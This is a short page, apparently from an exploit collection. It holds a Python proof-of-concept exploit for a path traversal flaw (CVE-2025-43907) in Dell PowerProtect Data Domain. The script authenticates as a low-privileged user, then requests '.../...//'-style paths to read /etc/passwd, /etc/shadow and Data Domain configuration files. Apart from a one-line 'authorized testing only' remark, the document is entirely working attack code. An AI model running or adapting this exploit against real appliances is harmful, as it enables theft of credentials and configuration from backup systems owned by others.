CVE-2025-43907 Dell PowerProtect Data Domain 路径遍历漏洞

# CVE-2025-43907 - Dell PowerProtect Data Domain Path Traversal PoC # Vulnerability: Path Traversal via '.../...//' sequence # Affected: DD OS 7.7.1.0 - 8.3.0.15, LTS2025 8.3.1.0, LTS2024 7.13.1.0-7.13.1.30, LTS2023 7.10.1.0-7.10.1.60 import requests TARGET_HOST = "https://target-dd-host" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_path_traversal(target, session_cookie, target_file): """ Exploit path traversal using '.../...//' bypass technique to read arbitrary files from the DD OS filesystem. """ # Construct malicious path using '.../...//' traversal sequence malicious_path = "/rest/v1.0/.../...//etc/" + target_file headers = { "Cookie": session_cookie, "Content-Type": "application/json" } response = requests.get( target + malicious_path, headers=headers, verify=False ) if response.status_code == 200: print(f"[+] File content retrieved:\n{response.text}") return response.text else: print(f"[-] Exploit failed with status code: {response.status_code}") return None def authenticate(target, username, password): """ Authenticate as a low-privileged user to obtain a session cookie. """ login_url = target + "/rest/v1.0/auth" payload = { "username": username, "password": password } response = requests.post(login_url, json=payload, verify=False) if response.status_code == 200: session_cookie = response.cookies.get("DDSessionId") print(f"[+] Authenticated successfully. Session: {session_cookie}") return session_cookie else: print("[-] Authentication failed") return None if __name__ == "__main__": print("[*] CVE-2025-43907 PoC - Dell DD OS Path Traversal") print("[*] Note: For authorized security testing only\n") # Step 1: Authenticate as low-privileged user session = authenticate(TARGET_HOST, USERNAME, PASSWORD) if session: # Step 2: Exploit path traversal to read sensitive files sensitive_files = [ "passwd", "shadow", "ddconfig.conf", "data-domain-config.xml" ] for f in sensitive_files: print(f"\n[*] Attempting to read: {f}") exploit_path_traversal(TARGET_HOST, session, f)